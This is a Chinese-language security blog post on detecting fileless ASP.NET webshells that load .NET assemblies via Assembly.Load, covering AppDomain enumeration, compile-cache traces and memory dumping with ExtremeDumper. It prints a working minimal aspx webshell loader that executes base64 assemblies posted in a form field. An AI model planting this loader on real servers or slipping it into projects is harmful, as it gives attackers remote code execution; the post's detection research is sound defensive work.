背景
前一段时间某管理系统被黑客批量植入冰蝎并进行勒索,引发了本人对于ASP.NET无文件攻击检测的思考。搜了一下目前还没有相关的文章,就自己研究了一下。
C# 中的assembly
首先了解一下C#中的assembly(程序集),看看官方文档是怎么描述的:
程序集构成了 .NET 应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。 程序集是为协同工作而生成的类型和资源的集合,这些类型和资源构成了一个逻辑功能单元。 程序集采用可执行文件 (.exe) 或动态链接库文件 (.dll) 的形式,是 .NET 应用程序的构建基块 。 它们向公共语言运行时提供了注意类型实现代码所需的信息。
在 .NET 和 .NET Framework 中,可从一个或多个源代码文件生成程序集。 在 .NET Framework 中,程序集可以包含一个或多个模块。 因此,大型项目可以采用以下规划:由多个开发者单独开发各源代码文件或模块,最后整合所有这些内容以创建一个程序集。
程序集具有以下属性:
- 程序集以 .exe 或 .dll 文件的形式实现 。
- 可以使用反射,以编程方式获取程序集的相关信息。
- ...省略一些不关心的内容
总结一下:
- C# 代码文件编译后生成的程序模块叫做Assembly(程序集)。
- 程序集是.NET应用程序的 基本单元,一个软件可以是一个程序集,但更多时候是程序集组成的集合。
- 程序集可以是exe可执行文件,也可以是dll动态链接库文件。动态链接库中没有 Main 方法。
- 可以使用反射来加载调用。
Assembly Webshell原理
以上我们对Assembly有了个初步的认识:这玩意可以通过反射去加载一个任意的exe或者dll到内存中。跟Java的defineClass相比,Assembly.Load这个api更加强大:因为Java语言本身屏蔽了很多系统层面的api,而C#是微软推出的语言,在Windows平台有天生的优势。另外,程序集可以是一个或者多个程序集的集合,而Java的defineClass一次只能打进去一个类。这也是就为后渗透利用铺好了道路,很多提权exp都可以无文件加载,当然也可以进行无文件勒索等操作。
Java | .NET | |
---|---|---|
加载函数 | Class.defineClass | Assembly.Load |
最小单元 | Class | Assembly |
最小单元格式 | 字节码 | PE |
单次加载个数 | 单个类 | 可以是多个类 |
语言特性 | 屏蔽底层API | 支持Windows API |
之前可以执行任意代码的aspx一句话木马是利用Jscript.net的eval函数来实现的,通过向eval传递Jscript.net源代码来执行任意代码。rebeyond师傅在冰蝎中首次使用了assembly的方式来实现新的.NET一句话木马,扩展了.NET下一句话木马的利用面。
以本人移植在蚁剑上的aspxcsharp类型为例,去掉加解密功能,就是这样的一个原型:
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"]; //拿到要加载的payload
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));//反射加载到内存中
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);//实例化调用,并传入上下文参数。
}
%>
检测
通过上面的"Loader",我们可以往内存中不落地加载一个任意的exe或者dll,那么怎么去检测注入的exe或者dll呢。这部分由浅入深分为三部分来写:
- 检测落地过的Webshell痕迹
- 发现assembly执行痕迹
- dump出执行的assembly
检测落地过的Webshell痕迹
当未开启预编译时,.net采用动态编译, 也就是说我们常说的build生成的dll只是中间代码,而在web第一次请求的时候才是真正意义上的编译生成二进制代码。这也就是为什么刚编译完第一次打开web页面的时候会比较慢的原因。当我们第一次请求的时候,也就是正式编译的时候,dotnet会写一些临时文件到 %SystemRoot%\Microsoft.NET\Framework\versionNumber\Temporary ASP.NET Files 文件夹下。
当开启预编译时,一般会放在/Bin目录下。
所以当落地的aspx被删除,或者被注入内存马时,依旧可以通过这种方式来发现入侵的痕迹。
也可以看笔者之前的asp.net内存马系列文章,里面都有如何检测的部分:https://tttang.com/user/yzddmr6
发现Assembly执行痕迹
当我们知道曾被植入Webshell后,我们当然想知道攻击者都干了些什么。但是Assembly的加载到执行都是在内存中完成的,那应该怎么办呢?这里又要提到一个概念:AppDomain
AppDomain的理解
为了保证代码的健壮性,CLR希望不同服务功能的代码之间相互隔离,这种隔离可以创建多个进程来实现,但操作系统中创建进程是即耗时又耗资源的一件事,所以在CLR中引入了AppDomain的概念。AppDomain主要是用来实现同一个进程中的各AppDomain之间的隔离,AppDomain有如下特点:
1、AppDomain概念并不存在于操作系统中,而只存在于.Net中,并且AppDomain不可脱离进程单独存在,他是属于某一个CLR或寄宿着CLR的进程中的。
2、一个进程中可以有多个AppDomain,并且每个之间相互隔离(只保证安全代码的隔离,不安全代码并不能保证),因此可以理解为AppDomain是.Net进程中的“进程”,在一个AppDomain中创建的对象只属于本AppDomain,多个AppDomain之间的对象不能够相互访问,除非遵循CLR的一些规则。
3、.Net程序启动时,在进程中创建一个默认的AppDomain,入口代码将运行于此AppDomain,默认应用程序域只有在进程终止时才会被销毁,如果主动调用Unload去卸载默认应用程序域,会抛出一个CannotUnloadAppDomainException。
4、每个AppDomain都单独的加载程序集,这意味着在A应用程序域中加载了的程序集,并不一定在B应用程序域中也被加载了。每个AppDomain有单独的Loader堆,相互不影响。
5、当AppDomain被卸载时,此AppDomain中的程序集会被卸载,因为每个AppDomain加载的程序集都是独立的,所以每个应用程序域被卸载并不会影响其他的AppDomain中加载的程序集。
6、有一种程序集可以被多个AppDomain使用,这种程序集叫做“AppDomain中立”的程序集,比如MSCorLib.dll,该程序集包含了System.Object、System.Int32以及其他的与.Net Framework比不可分的类型,这个程序集在CLR初始化时会自动加载,JIT会为这些程序集创建一个特殊的Loader堆,并且程序集中的方法被编译成本地代码可被所有AppDomain共享,这种程序集不可被卸载,只有当进程结束时这种程序集才会被卸载。
AppDomain有点类似Java中的ClassLoader,会把不同的程序集给隔离开。并且AppDomain提供了System.AppDomain.GetAssemblies方法,可以列出当前Domain下所有加载过的Assembly。因此我们就可以根据这一点来进行遍历,筛选出攻击者的痕迹。
<%@ Page Language="C#" Debug=true%>
<%@ Import Namespace="System.Reflection" %>
<%
Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
foreach (var a in assemblies)
{
Console.WriteLine(a);
}
%>
使用蚁剑连接后,再执行这个aspx,debug一下就可以看到其中蚁剑执行过的assembly名字,跟https://github.com/AntSwordProject/AntSword-Csharp-Template一致。又因为蚁剑跟冰蝎的方式是每次都打进去一个assembly,所以可以根据assembly的个数来判断攻击者执行了多少次对应的功能。
以下图为例,我们就可以得知攻击者获取了4次基本信息,打开了2次目录,并且执行了1次读文件,1次命令执行。
除了名称以外,还有一个判断的点是:通过Assembly.Load动态打进去的类Location是空,这点也可以作为一个筛选的依据。
debug一下确实可以验证这一点:
dump内存检测assembly内容
通过上面的操作我们可以发现一些入侵的痕迹了,但是有个问题,.NET自带的api没有dump assembly内容的操作。攻击者可以把assembly弄一个高度相似的名字来隐藏自己,所以只看名字可能很容易被绕过,那么怎么才能dump出来assembly对应的内容呢。
经过一番查找,我找到了这样一个工具:https://github.com/wwh1004/ExtremeDumper,这个工具本来是用来脱壳解混淆的,但是内置了一个dump module的功能,可以把对应.NET进程加载的assembly给dump出来。
以iis进程为例,首先选中iisexpress.exe,右键View Modules
然后点击Path排序,这样就可以把InMemory的给筛选出来了。
选中对应的module,右键Dump Selected Module,保存到本地,用dnspy打开即可看到其中的Payload了。
后面又简单看了下他的原理:因为.NET二进制格式是以 Windows PE格式为基础的,所以只需要扫内存中的PE头,然后把对应的内存抠出来就可以了。 这样就实现了检测assembly内容的操作。
参考
https://learn.microsoft.com/zh-cn/dotnet/standard/assembly/
https://www.cnblogs.com/artech/archive/2007/05/21/753620.html
https://www.cnblogs.com/artech/archive/2007/05/26/760292.html
https://learn.microsoft.com/zh-cn/dotnet/standard/assembly/file-format